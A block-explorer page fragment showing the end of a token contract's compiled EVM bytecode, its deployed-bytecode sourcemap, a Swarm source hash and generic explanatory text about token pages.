83811015610f8b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610809565b9392505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610fc5573d5f803e3d5ffd5b505050565b5f6020808352835180828501525f5b81811015610ff557858101830151858201604001528201610fd9565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107a8575f80fd5b5f806040838503121561103a575f80fd5b823561104581611015565b946020939093013593505050565b5f805f60608486031215611065575f80fd5b833561107081611015565b9250602084013561108081611015565b929592945050506040919091013590565b5f602082840312156110a1575f80fd5b8135610f8b81611015565b5f80604083850312156110bd575f80fd5b82356110c881611015565b915060208301356110d881611015565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561042f5761042f6110e3565b5f6020828403121561111a575f80fd5b8151610f8b81611015565b5f805f60608486031215611137575f80fd5b8351925060208401519150604084015190509250925092565b8082018082111561042f5761042f6110e3565b808202811582820484141761042f5761042f6110e3565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111dc5784516001600160a01b0316835293830193918301916001016111b7565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261121757634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b2b41e20993736717b30ee9ff2a04d23471748d954d7203c49ac18e267d7ac4264736f6c63430008140033

Deployed Bytecode Sourcemap

4157:7658:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6138:83;;;;;;;;;;-1:-1:-1;6208:5:0;;;;;;;;;;;;-1:-1:-1;;;6208:5:0;;;;6138:83;;;;;;;:::i;:::-;;;;;;;;7048:193;;;;;;;;;;-1:-1:-1;7048:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7048:193:0;1023:187:1;4740:23:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4740:23:0;1215:177:1;6415:100:0;;;;;;;;;;-1:-1:-1;4382:19:0;6415:100;;7249:350;;;;;;;;;;-1:-1:-1;7249:350:0;;;;;:::i;:::-;;:::i;6324:83::-;;;;;;;;;;-1:-1:-1;6324:83:0;;4547:2;2000:36:1;;1988:2;1973:18;6324:83:0;1858:184:1;4463:41:0;;;;;;;;;;;;;;;;8693:90;;;;;;;;;;;;;:::i;:::-;;6523:118;;;;;;;;;;-1:-1:-1;6523:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;6616:17:0;6589:7;6616:17;;;:8;:17;;;;;;;6523:118;1655:140;;;;;;;;;;;;;:::i;4408:48::-;;;;;;;;;;;;;;;;1389:79;;;;;;;;;;-1:-1:-1;1427:7:0;1454:6;-1:-1:-1;;;;;1454:6:0;1389:79;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;1389:79:0;2299:203:1;6229:87:0;;;;;;;;;;-1:-1:-1;6301:7:0;;;;;;;;;;;;-1:-1:-1;;;6301:7:0;;;;6229:87;;4711:22;;;;;;;;;;;;;;;;6649:199;;;;;;;;;;-1:-1:-1;6649:199:0;;;;;:::i;:::-;;:::i;4817:35::-;;;;;;;;;;-1:-1:-1;4817:35:0;;;;;;;;;;;7984:504;;;;;;;;;;;;;:::i;8500:83::-;;;;;;;;;;;;;:::i;8591:94::-;;;;;;;;;;;;;:::i;6856:184::-;;;;;;;;;;-1:-1:-1;6856:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7005:18:0;;;6973:7;7005:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6856:184;1803:109;;;;;;;;;;-1:-1:-1;1803:109:0;;;;;:::i;:::-;;:::i;4669:35::-;;;;;;;;;;-1:-1:-1;4669:35:0;;;;-1:-1:-1;;;;;4669:35:0;;;7048:193;7150:4;7172:39;298:10;7195:7;7204:6;7172:8;:39::i;:::-;-1:-1:-1;7229:4:0;7048:193;;;;;:::o;7249:350::-;7381:4;7398:36;7408:6;7416:9;7427:6;7398:9;:36::i;:::-;-1:-1:-1;;;;;7516:19:0;;;;;;:11;:19;;;;;;;;298:10;7516:33;;;;;;;;;7445:124;;7468:6;;7516:42;;7552:6;;7516:42;:::i;:::-;7445:8;:124::i;:::-;-1:-1:-1;7587:4:0;7249:350;;;;;:::o;8693:90::-;1595:4;1633:6;-1:-1:-1;;;;;1633:6:0;1619:10;:20;1508:18;;;;;;4382:19:::1;8746:14;:29:::0;8693:90::o;1655:140::-;1595:4;1633:6;-1:-1:-1;;;;;1633:6:0;1619:10;:20;1508:18;;;;;;1754:1:::1;1738:6:::0;;1717:40:::1;::::0;-1:-1:-1;;;;;1738:6:0;;::::1;::::0;1717:40:::1;::::0;1754:1;;1717:40:::1;1785:1;1768:19:::0;;-1:-1:-1;;;;;;1768:19:0::1;::::0;;1655:140::o;6649:199::-;6754:4;6776:42;298:10;6800:9;6811:6;6776:9;:42::i;7984:504::-;1595:4;1633:6;-1:-1:-1;;;;;1633:6:0;1619:10;:20;1508:18;;;;;;8075:15:::1;-1:-1:-1::0;;;;;8075:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8057:113;::::0;-1:-1:-1;;;8057:113:0;;8135:4:::1;8057:113;::::0;::::1;3857:34:1::0;-1:-1:-1;;;;;8155:4:0::1;3927:15:1::0;;3907:18;;;3900:43;8057:55:0;;;::::1;::::0;::::1;::::0;3792:18:1;;8057:113:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8041:13;:129:::0;;-1:-1:-1;;;;;;8041:129:0::1;-1:-1:-1::0;;;;;8041:129:0;;;::::1;::::0;;;::::1;::::0;;8269:4:::1;-1:-1:-1::0;6616:17:0;;;:8;:17;;;;;;8200:21:::1;::::0;8232:43:::1;8288:15;-1:-1:-1::0;;;;;8288:31:0::1;;8327:6;8357:4;8377:8;8400:1;8416::::0;8432:7:::1;1427::::0;1454:6;-1:-1:-1;;;;;1454:6:0;;1389:79;8432:7:::1;8288:192;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8288:192:0;;;-1:-1:-1;;;;;4313:15:1;;;8288:192:0::1;::::0;::::1;4295:34:1::0;4345:18;;;4338:34;;;;4388:18;;;4381:34;;;;4431:18;;;4424:34;4495:15;;;4474:19;;;4467:44;8454:15:0::1;4527:19:1::0;;;4520:35;4229:19;;8288:192:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;8030:458;;7984:504::o:0;8500:83::-;1595:4;1633:6;-1:-1:-1;;;;;1633:6:0;1619:10;:20;1508:18;;;;;;8553:15:::1;:22:::0;;-1:-1:-1;;8553:22:0::1;;;::::0;;8500:83::o;8591:94::-;1595:4;1633:6;-1:-1:-1;;;;;1633:6:0;1619:10;:20;1508:18;;;;;;8653:1:::1;8643:7;:11:::0;;;8665:8:::1;:12:::0;8591:94::o;1803:109::-;1595:4;1633:6;-1:-1:-1;;;;;1633:6:0;1619:10;:20;1508:18;;;;;;1876:28:::1;1895:8;1876:18;:28::i;:::-;1803:109:::0;:::o;7607:369::-;-1:-1:-1;;;;;7734:19:0;;7726:68;;;;-1:-1:-1;;;7726:68:0;;5079:2:1;7726:68:0;;;5061:21:1;5118:2;5098:18;;;5091:30;5157:34;5137:18;;;5130:62;-1:-1:-1;;;5208:18:1;;;5201:34;5252:19;;7726:68:0;;;;;;;;;-1:-1:-1;;;;;7813:21:0;;7805:68;;;;-1:-1:-1;;;7805:68:0;;5484:2:1;7805:68:0;;;5466:21:1;5523:2;5503:18;;;5496:30;5562:34;5542:18;;;5535:62;-1:-1:-1;;;5613:18:1;;;5606:32;5655:19;;7805:68:0;5282:398:1;7805:68:0;-1:-1:-1;;;;;7884:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7936:32;;1361:25:1;;;7936:32:0;;1334:18:1;7936:32:0;;;;;;;7607:369;;;:::o;8923:2852::-;-1:-1:-1;;;;;9045:18:0;;9037:68;;;;-1:-1:-1;;;9037:68:0;;5887:2:1;9037:68:0;;;5869:21:1;5926:2;5906:18;;;5899:30;5965:34;5945:18;;;5938:62;-1:-1:-1;;;6016:18:1;;;6009:35;6061:19;;9037:68:0;5685:401:1;9037:68:0;9132:15;;;;;;;;:38;;-1:-1:-1;;;;;;9151:19:0;;;;;;:13;:19;;;;;;;;9132:38;:59;;;-1:-1:-1;;;;;;9174:17:0;;;;;;:13;:17;;;;;;;;9132:59;9124:83;;;;-1:-1:-1;;;9124:83:0;;6293:2:1;9124:83:0;;;6275:21:1;6332:2;6312:18;;;6305:30;-1:-1:-1;;;6351:18:1;;;6344:41;6402:18;;9124:83:0;6091:335:1;9124:83:0;-1:-1:-1;;;;;9278:19:0;;9228:12;9278:19;;;:13;:19;;;;;;9228:12;;9278:19;;;:40;;-1:-1:-1;;;;;;9301:17:0;;;;;;:13;:17;;;;;;;;9278:40;9274:1793;;;-1:-1:-1;9342:1:0;9274:1793;;;9382:16;;;;;:21;9378:239;;-1:-1:-1;;;;;9459:14:0;;;;;;:8;:14;;;;;:24;;9477:6;;9459:14;:24;;9477:6;;9459:24;:::i;:::-;;;;-1:-1:-1;;;;;;;9502:12:0;;;;;;:8;:12;;;;;:22;;9518:6;;9502:12;:22;;9518:6;;9502:22;:::i;:::-;;;;;;;;9565:2;-1:-1:-1;;;;;9550:26:0;9559:4;-1:-1:-1;;;;;9550:26:0;;9569:6;9550:26;;;;1361:25:1;;1349:2;1334:18;;1215:177;9550:26:0;;;;;;;;9595:7;;8923:2852;;;:::o;9378:239::-;9645:13;;-1:-1:-1;;;;;9645:13:0;;;9637:21;;;;9633:1423;;-1:-1:-1;9686:7:0;;-1:-1:-1;;;;;9717:21:0;;;;;;:15;:21;;;;;;;;9716:22;;:46;;-1:-1:-1;;;;;;9743:19:0;;;;;;:15;:19;;;;;;;;9742:20;9716:46;9712:147;;;9824:14;;9795:25;9813:6;9795:13;9805:2;-1:-1:-1;;;;;6616:17:0;6589:7;6616:17;;;:8;:17;;;;;;;6523:118;9795:13;:17;;:25::i;:::-;:43;;9787:52;;;;;;9633:1423;;;9890:13;;-1:-1:-1;;;;;9890:13:0;;;9884:19;;;;9880:1176;;-1:-1:-1;;;;;9928:20:0;;;;;;:14;:20;;;;;;;;9924:40;;;9960:4;9950:14;;9924:40;10023:4;9983:20;10006:23;;;:8;:23;;;;;;10067:12;;:19;;10082:4;10067:19;:::i;:::-;10052:12;:34;10048:74;;;10103:12;;:19;;10118:4;10103:19;:::i;:::-;10088:34;;10048:74;10160:12;;10145;:27;:52;;;;;10185:12;;10176:6;:21;10145:52;:77;;;;-1:-1:-1;10201:16:0;;;;:21;10145:77;10141:815;;;10247:16;:20;;-1:-1:-1;;10247:20:0;10266:1;10247:20;;;10316:16;;;10330:1;10316:16;;;;;;;;-1:-1:-1;;10316:16:0;;;;;;;;;;-1:-1:-1;10316:16:0;10292:40;;10373:4;10355;10360:1;10355:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;10355:23:0;;;-1:-1:-1;;;;;10355:23:0;;;;;10411:4;10401;10406:1;10401:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10401:14:0;;;:7;;;;;;;;;:14;10438:319;;-1:-1:-1;;;10438:319:0;;:15;:92;;;;;;:319;;10561:12;;10604:1;;10636:4;;10679;;10715:15;;10438:319;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;10862:12:0;;10807:21;;-1:-1:-1;10851:40:0;;-1:-1:-1;;;;;;10862:12:0;10807:21;10851:10;:40::i;:::-;-1:-1:-1;;10916:16:0;:20;;-1:-1:-1;;10916:20:0;;;10141:815;-1:-1:-1;;10981:8:0;;9880:1176;;;-1:-1:-1;11039:1:0;9880:1176;11138:9;;11134:634;;11192:17;11230:3;11213:13;11222:4;11213:6;:13;:::i;:::-;11212:21;;;;:::i;:::-;11192:41;-1:-1:-1;11248:22:0;11273:18;11192:41;11273:6;:18;:::i;:::-;11248:43;;11309:7;11306:28;;;11318:16;11328:6;;11318:16;:::i;:::-;;;11306:28;-1:-1:-1;;;;;11349:14:0;;;;;;:8;:14;;;;;:24;;11367:6;;11349:14;:24;;11367:6;;11349:24;:::i;:::-;;;;-1:-1:-1;;;;;;;11388:12:0;;;;;;:8;:12;;;;;:30;;11404:14;;11388:12;:30;;11404:14;;11388:30;:::i;:::-;;;;-1:-1:-1;;11450:4:0;11433:23;;;;:8;:23;;;;;:36;;11460:9;;11433:23;:36;;11460:9;;11433:36;:::i;:::-;;;;-1:-1:-1;;11489:40:0;;1361:25:1;;;11512:4:0;;-1:-1:-1;;;;;11489:40:0;;;;;1349:2:1;1334:18;11489:40:0;;;;;;;11564:2;-1:-1:-1;;;;;11549:34:0;11558:4;-1:-1:-1;;;;;11549:34:0;;11568:14;11549:34;;;;1361:25:1;;1349:2;1334:18;;1215:177;11549:34:0;;;;;;;;11149:446;;11134:634;;;-1:-1:-1;;;;;11647:14:0;;;;;;:8;:14;;;;;:24;;11665:6;;11647:14;:24;;11665:6;;11647:24;:::i;1920:187::-;-1:-1:-1;;;;;1994:22:0;;1986:31;;;;;;2054:6;;;2033:38;;-1:-1:-1;;;;;2033:38:0;;;;2054:6;;;2033:38;;;2082:6;:17;;-1:-1:-1;;;;;;2082:17:0;-1:-1:-1;;;;;2082:17:0;;;;;;;;;;1920:187::o;2142:181::-;2200:7;;2232:5;2236:1;2232;:5;:::i;:::-;2220:17;;2261:1;2256;:6;;2248:46;;;;-1:-1:-1;;;2248:46:0;;8407:2:1;2248:46:0;;;8389:21:1;8446:2;8426:18;;;8419:30;8485:29;8465:18;;;8458:57;8532:18;;2248:46:0;8205:351:1;2248:46:0;2314:1;2142:181;-1:-1:-1;;;2142:181:0:o;8791:116::-;8873:26;;-1:-1:-1;;;;;8873:18:0;;;:26;;;;;8892:6;;8873:26;;;;8892:6;8873:18;:26;;;;;;;;;;;;;;;;;;;;;8791:116;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;3124:127::-;3185:10;3180:3;3176:20;3173:1;3166:31;3216:4;3213:1;3206:15;3240:4;3237:1;3230:15;3256:128;3323:9;;;3344:11;;;3341:37;;;3358:18;;:::i;3389:251::-;3459:6;3512:2;3500:9;3491:7;3487:23;3483:32;3480:52;;;3528:1;3525;3518:12;3480:52;3560:9;3554:16;3579:31;3604:5;3579:31;:::i;4566:306::-;4654:6;4662;4670;4723:2;4711:9;4702:7;4698:23;4694:32;4691:52;;;4739:1;4736;4729:12;4691:52;4768:9;4762:16;4752:26;;4818:2;4807:9;4803:18;4797:25;4787:35;;4862:2;4851:9;4847:18;4841:25;4831:35;;4566:306;;;;;:::o;6431:125::-;6496:9;;;6517:10;;;6514:36;;;6530:18;;:::i;6561:168::-;6634:9;;;6665;;6682:15;;;6676:22;;6662:37;6652:71;;6703:18;;:::i;6866:127::-;6927:10;6922:3;6918:20;6915:1;6908:31;6958:4;6955:1;6948:15;6982:4;6979:1;6972:15;6998:980;7260:4;7308:3;7297:9;7293:19;7339:6;7328:9;7321:25;7365:2;7403:6;7398:2;7387:9;7383:18;7376:34;7446:3;7441:2;7430:9;7426:18;7419:31;7470:6;7505;7499:13;7536:6;7528;7521:22;7574:3;7563:9;7559:19;7552:26;;7613:2;7605:6;7601:15;7587:29;;7634:1;7644:195;7658:6;7655:1;7652:13;7644:195;;;7723:13;;-1:-1:-1;;;;;7719:39:1;7707:52;;7814:15;;;;7779:12;;;;7755:1;7673:9;7644:195;;;-1:-1:-1;;;;;;;7895:32:1;;;;7890:2;7875:18;;7868:60;-1:-1:-1;;;7959:3:1;7944:19;7937:35;7856:3;6998:980;-1:-1:-1;;;6998:980:1:o;7983:217::-;8023:1;8049;8039:132;;8093:10;8088:3;8084:20;8081:1;8074:31;8128:4;8125:1;8118:15;8156:4;8153:1;8146:15;8039:132;-1:-1:-1;8185:9:1;;7983:217::o

Swarm Source

ipfs://b2b41e20993736717b30ee9ff2a04d23471748d954d7203c49ac18e267d7ac42
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.